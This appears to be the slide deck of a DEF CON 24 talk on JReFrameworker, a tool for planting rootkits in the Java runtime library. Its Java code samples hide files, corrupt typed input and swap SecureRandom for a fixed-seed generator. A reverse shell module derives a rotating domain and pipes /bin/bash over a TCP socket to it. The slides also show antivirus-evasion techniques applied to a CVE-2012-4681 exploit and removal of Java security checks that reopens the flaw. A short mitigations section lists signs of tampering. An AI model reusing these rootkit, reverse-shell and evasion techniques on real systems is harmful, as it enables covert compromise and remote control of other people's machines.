Developing Managed Code Rootkits for the Java Runtime Environment

DEFCON 24, August 6th 2016

Benjamin Holland (daedared)
ben-holland.com
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

- Benjamin Holland (daedared)
- B.S. in Computer Engineering (2005 - 2010)
  - Wabtec Railway Electronics, Ames Lab, Rockwell Collins
- B.S. in Computer Science (2010 - 2011)
- M.S. in Computer Engineering and Information Assurance (2010 - 2012)
  - MITRE
- Iowa State University Research (2012 - 2015)
  - DARPA Automated Program Analysis for Cybersecurity (APAC) Program
- PhD in Computer Engineering (2015-????)
  - DARPA Space/Time Analysis for Cybersecurity (STAC) Program
Background
Hello World

1
2 public class Test {
3
4     public static void main(String[] args) {
5         System.out.println("Hello World!");
6     }
7
8 }
9
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file)

Java Application (.jar file) → Runtime Libraries (.jar files) → Java Virtual Machine

Write Once, Run Anywhere?

Operating System (Windows, Mac, Linux)
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file)

Java Application (.jar file) → Evil Runtime Libraries (.jar files) → Java Virtual Machine → Operating System (Windows, Mac, Linux)

Write Once, Run Anywhere?
Java Runtime Environment

Java Source Code (.java files) → Java Compiler → Java Bytecode (.class files) → Java Application (.jar file)

Java Application (.jar file) → Evil Runtime Libraries (.jar files) → Java Virtual Machine → Operating System (Windows, Mac, Linux)

Write Once, Exploit Anywhere?
Managed Code Rootkits (MCRs)

- Post exploitation activity (need root/administrator privileges)
  - C:\Program Files\Java\...\lib\rt.jar
- Compromises EVERY program using the modified runtime
- Out of sight out of mind
  - Code reviews/audits don’t typically audit runtimes
  - May be overlooked by forensic investigators
- Rootkits can be platform independent
- Runtimes are already fully featured
  - Object Oriented programming
  - Standard libraries
  - Additional access to low level APIs (key events, networking, etc.)
Pioneering Work

- Pioneering work by Erez Metula (DEFCON 17)
- Explored implications of MCRs
- "ReFrameworker" tool to modify .NET runtimes
  - XML modules to define manipulation tasks
  - Uses an assembler/disassembler pair to make modifications
  - Generates deployment scripts
Strategies for Modifying the Runtime

- Bytecode: Difficult
- Intermediate Representations: Still Tricky
- Decompiled Source: Ideal but Unreliable

$ whoami

Background
JReFrameworker
Modules
Mitigations
Q/A
New Framework Goals

- MCR support for Java Runtime Environment
- Minimal prerequisite user knowledge
  - No knowledge of bytecode or intermediate languages
- Simple development cycle
  - Consider: developing, debugging, deploying
- Strive towards portability (Write Once, Exploit Everywhere)
JReFrameworker

- Write rootkits in Java source!
- Modification behaviors defined with code annotations
- Develop and debug in Eclipse IDE
- Exploit "modules" are Eclipse Java projects
- Exportable payload droppers
  - Bytecode injections are computed on the fly
- Free + Open Source (MIT License): github.com/JReFrameworker
JReFrameworker

- Write rootkits in Java source!
- Modification behaviors defined with code annotations
- Develop and debug in Eclipse IDE
- Exploit "modules" are Eclipse Java projects
- Exportable payload droppers
  - Bytecode injections are computed on the fly
- Free + Open Source (MIT License): github.com/JReFrameworker

"just what the internet is in dire need of, a well engineered malware development toolset”
~Some dude on Twitter
Hello World Revisited

@MergeType
public class BackwardsPrintStream extends java.io.PrintStream {

    @MergeMethod
    @Override
    public void println(String str){
        StringBuilder sb = new StringBuilder(str);
        super.println(sb.reverse().toString());
    }

}
### Annotation Types

<table>
<thead>
<tr>
<th></th>
<th>Define</th>
<th>Merge</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>@DefineType</td>
<td>@MergeType</td>
</tr>
<tr>
<td>Method</td>
<td>@DefineMethod</td>
<td>@MergeMethod</td>
</tr>
<tr>
<td>Field</td>
<td>@DefineField</td>
<td>N/A</td>
</tr>
</tbody>
</table>
## Annotation Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Define</th>
<th>Merge</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>@DefineType</td>
<td>@MergeType</td>
</tr>
<tr>
<td>Method</td>
<td>@DefineMethod</td>
<td>@MergeMethod</td>
</tr>
<tr>
<td>Field</td>
<td>@DefineField</td>
<td>N/A</td>
</tr>
</tbody>
</table>

(Inserts or Replaces) (Preserves and Replaces)
# Annotation Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Visibility</th>
<th>Finality</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>@DefineTypeVisibility</td>
<td>@DefineTypeFinality</td>
</tr>
<tr>
<td>Method</td>
<td>@DefineMethodVisibility</td>
<td>@DefineMethodFinality</td>
</tr>
<tr>
<td>Field</td>
<td>@DefineFieldVisibility</td>
<td>@DefineFieldFinality</td>
</tr>
</tbody>
</table>

$ whoami

**Background**

- JReFrameworker

**Modules**

- Mitigations

**Q/A**
Modules
Get Creative

Time to get creative...
Hidden File

```java
@MergeType
public class HiddenFile extends java.io.File {
    @MergeMethod
    @Override
    public boolean exists() {
        if (isFile() && getName().equals("secretFile")) {
            return false;
        } else {
            return super.exists();
        }
    }
}
```
Hidden File

Java Decompiler - File.class

```
    788    return false;
    }
    790    return fs.checkAccess(this, 2);
    }

    private boolean jref_exists() {
        SecurityManager localSecurityManager = System.getSecurityManager();
        if (localSecurityManager != null) {
            localSecurityManager.checkRead(this.path);
        }
        if (isInvalid()) {
            return false;
        }
        return (fs.getBooleanAttributes(this) & 0x1) != 0;
    }
```
Hidden File

```java
public boolean exists()
{
    if ((isFile()) && (getName().equals("secretFile"))) {
        return false;
    }

    return jref_exists();
}
```
@MergeType
public class BeetlejuicePS extends java.io.PrintStream {
    @DefineField
    private int beetlejuice;
    @MergeMethod
    public void println(String str){
        StackTraceElement[] st = new Exception().getStackTrace();
        for(StackTraceElement element : st){
            if(element.getMethodName().equals("beetlejuice")){
                if(++beetlejuice==3) i.Main.main(new String[]{});
                super.println(str);
            }
        }
    }
}
public class Test {
    static class TimBurton {}
    public static void main(String[] args) {
        TimBurton timBurton = new TimBurton();
        beetlejuice(timBurton);
        beetlejuice(timBurton);
        beetlejuice(timBurton);
    }
    private static void beetlejuice(TimBurton timBurton){
        System.out.println(timBurton.toString());
    }
}
Beetlejuice

- The "i.Main.main(new String[]);" invokes Mocha DOOM
  - Port of DOOM shareware to pure Java
  - github.com/AXDOOMER/mochadoom

- Payload behaviors can depend on the state or structure of the client program
public static void main(String[] args) {
    String demand = "sacrifice";
    demand.replace("sacrifice", "puppy");
    System.out.println("Satan demands a " + demand + "!");
}

- Immutable: demand="sacrifice"
- Mutable: demand="puppy"
Mutable Strings

@DefineTypeFinality(finality=false)
@DefineFieldFinality(field="value", finality=false)
@DefineFieldVisibility(field="value", visibility="protected")
@MergeType

public class MutableString extends java.lang.String {
  @MergeMethod
  public String replace(CharSequence s1, CharSequence s2){
    String result = super.replace(s1, s2);
    // hey Java you forgot to update your value...so I fixed it :)
    value = result.toCharArray();
    return result;
  }
}

Pixelated Images

@MergeType
public class PixelatedBufferedImage extends BufferedImage {
    @DefineField
    boolean pixelated = false;
    @MergeMethod
    public Graphics getGraphics() {
        if(!pixelated) setData(pixelate(getData()));
        return super.getGraphics();
    }
}
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Background

JReFrameworker

Modules

Mitigations

Q/A

Pixelated Images

Why?
FOR THE GLORY OF SATAN, OF COURSE!
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Background

JReFrameworker

Modules

Mitigations

Q/A

DEFCON 24, August 6th 2016

Developing Managed Code Rootkits for the Java Runtime Environment

Pixelated Images (5x pixel size)
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Background

JReFrameworker

Modules

Mitigations

Q/A

DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Background

JReFrameworker

Modules

Mitigations

Q/A

DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment

$ whoami

Background

JReFrameworker

Modules

Mitigations

Q/A

DEFCON 24, August 6th 2016
Decreasing Productivity

- Define SpellWrecker class (inverse of a spellchecker)
- As average typing speed increases, more typos are injected
- As average typing speed reduces, less typos are injected

@MergeType
public class SpellWreckedKeyEvent extends KeyEvent {
    @MergeMethod
    @Override
    public char getKeyChar(){
        char original = super.getKeyChar();
        return SpellWrecker.spellwreck(original);
    }
}
CVE-2012-4681

- Applet can bypass security restrictions to execute arbitrary code
  - Combination of two vulnerabilities
  - Excellent reliability, multi platform
  - “Gondvv” exploit found in the wild (August 2012)
- PoC Exploit: http://pastie.org/4594319
- Metasploit Module: exploit/multi/browser/java_jre17_exec
- Detailed analysis by Immunity Products
CVE-2012-4681 (Exploit Armoring Experiment)

- Source: github.com/benjholla/CVE-2012-4681-Armoring
- Submitted to VirusTotal 2 years after found in the wild...

<table>
<thead>
<tr>
<th>Sample</th>
<th>Notes</th>
<th>Score (2014’s positive detections)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original Sample</td>
<td><a href="http://pastie.org/4594319">http://pastie.org/4594319</a></td>
<td>30/55</td>
</tr>
<tr>
<td>Technique A</td>
<td>Changed Class/Method names</td>
<td>28/55</td>
</tr>
<tr>
<td>Techniques A and B</td>
<td>Obfuscate strings</td>
<td>16/55</td>
</tr>
<tr>
<td>Techniques A-C</td>
<td>Change Control Flow</td>
<td>16/55</td>
</tr>
<tr>
<td>Techniques A-D</td>
<td>Reflective invocations (on sensitive APIs)</td>
<td>3/55</td>
</tr>
<tr>
<td>Techniques A-E</td>
<td>Simple XOR Packer</td>
<td>0/55</td>
</tr>
</tbody>
</table>
CVE-2012-4681 (Exploit Armoring Experiment)

- Source: github.com/benjholla/CVE-2012-4681-Armoring
- Submitted to VirusTotal 4 years after found in the wild...

<table>
<thead>
<tr>
<th>Sample</th>
<th>Notes</th>
<th>2014 Score</th>
<th>2016 Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original Sample</td>
<td><a href="http://pastie.org/4594319">http://pastie.org/4594319</a></td>
<td>30/55</td>
<td>36/56</td>
</tr>
<tr>
<td>Technique A</td>
<td>Changed Class/Method names</td>
<td>28/55</td>
<td>36/56</td>
</tr>
<tr>
<td>Techniques A and B</td>
<td>Obfuscate strings</td>
<td>16/55</td>
<td>22/56</td>
</tr>
<tr>
<td>Techniques A-C</td>
<td>Change Control Flow</td>
<td>16/55</td>
<td>22/56</td>
</tr>
<tr>
<td>Techniques A-D</td>
<td>Reflective invocations (on sensitive APIs)</td>
<td>3/55</td>
<td>16/56</td>
</tr>
<tr>
<td>Techniques A-E</td>
<td>Simple XOR Packer</td>
<td>0/55</td>
<td>0/56</td>
</tr>
</tbody>
</table>
CVE-2012-4681 ("The Reverse Bug Patch")

- "Unfixing" CVE-2012-4681 in Java 8
- `com.sun.beans.finder.ClassFinder`
  - Remove calls to `ReflectUtil.checkPackageAccess(...)`
- `com.sun.beans.finder.MethodFinder`
  - Remove calls to `ReflectUtil.isPackageAccessible(...)`
- `sun.awt.SunToolkit`
  - Restore `getField(...)` method
- Unobfuscated vulnerability gets 0/56 on VirusTotal
- What's the difference between vulnerabilities and exploits?
SCADA HMI Application Modifications

- If you can modify a runtime, you can modify an application...
- Example: SCADA HMI application
Original HMI application lacks modern security mechanisms

Challenge: Can we enhance the security for “alarms” list without access to the source code?
SCADA HMI Application Modifications

- Backend server enhanced with an application firewall
  - Firewall supports new security policy mechanisms (e.g. two factor authentication)

- HMI client UI enhanced with prompts for firewall challenge responses
Mitigations
Bytecode Modification Indicators

- What is wrong with this picture? (hint: look at the line numbers)
Bytecode Modification Indicators

- File hash
- File size (original: ~50mb, modified: ~25mb)
- “jref_” method rename prefix (can be changed in preferences)
- Class/Method/Field counts
- Code metrics (e.g. cyclomatic complexity)
- ...
Being Aware

JReFrameworker is an awareness project!
Q/A
Still plenty of work to do...

The woods are lovely, dark and deep,
But I have promises to keep,
And miles to go before I sleep,
And miles to go before I sleep.

-Robert Frost
Questions?

- Thank you!

- **JReFrameworker:**
  - Setup + Tutorials: jreframeworker.com
  - Source Code: github.com/JReFrameworker
  - References:
    - github.com/JReFrameworker/JReFrameworker/blob/master/REFERENCES.md

- **Additional Resources**
  - Managed Code Rootkits: appsec-labs.com/managed_code_rootkits
  - ASM Transformations Whitepaper: asm.ow2.org/current/asm-transformations.pdf
The JVM isn’t just for Java

- **JVM Specific**
  - Java, Scala, Clojure, Groovy, Ceylon, Fortress, Gosu, Kotlin...

- **Ported Languages**
  - JRuby, Jython, Smalltalk, Ada, Scheme, REXX, Prolog, Pascal, Common LISP...
Pokémon! Gotta Hack em’ All!

- Application contains callbacks for special premium bracelet notifications
  - Just need to add tactile feedback to user

- Slightly more complicated toolchain for modifying Android apps
  - .apk -> APKTool -> Dex2Jar -> JReFrameworker -> DX -> APKTool -> .apk
Pokémon! Gotta Hack em’ All!

@MergeType
public class Notify LegendaryPokemon extends com.nianticproject.holoholo.sfida.unity.SfidaUnityPlugin {
    @MergeMethod
    public boolean notifySpawnedLegendaryPokemon(String param){
        vibrate();
        return super.notifySpawnedLegendaryPokemon(param);
    }
}
DEFCON Inspirations

- It is truly an honor to be here
- Early memories of reading Winn Schwartau’s *Information Warfare*
  - One of my first introductions to security topics
- This talk itself was inspired by a previous DEFCON talk
Reverse Shell + DGA

- Malicious client probes for payload
- Create a reverse shell to the domain of the day

```java
public static void main(String[] args) throws Exception {
    Date d = new Date();
    // attempts to invoke a private method named reverseShell
    // in java.util.Date that may or may not exist ;)
    Method method = d.getClass().getDeclaredMethod("reverseShell");
    method.setAccessible(true);
    method.invoke(d);
}
```
public class java.util.Date {
private void reverseShell(){
String domain = "www.";
int year = getYear(); int month = getMonth(); int day = getDay();
for(int i=0; i<16; i++){
    year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFFF0) << 17);
    month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFFF8);
    day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFFE) << 12);
    domain += (char)((Math.abs((year ^ month ^ day)) % 25) + 97);
}
domain += ".com";
...
Reverse Shell + DGA

- Define a `java.util.StreamForwarder` class
- Forward shell inputs/outputs to TCP stream

```java
InetAddress address = InetAddress.getByName(domain);
String ipAddress = address.getHostAddress();
final Process process = Runtime.getRuntime().exec("/bin/bash");
Socket socket = new Socket(ipAddress, 6666);
forwardStream(socket.getInputStream(), process.getOutputStream());
forwardStream(process.getInputStream(), socket.getOutputStream());
forwardStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
...
```
@MergeType
public class InsecureRandom extends SecureRandom {
    @DefineField
    private Random random;
    @MergeMethod
    public int nextInt(){
        if(random == null){
            random = new Random(0 /* fixed seed */);
        }
        return random.nextInt();
    }
}

$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A

Downgrading Security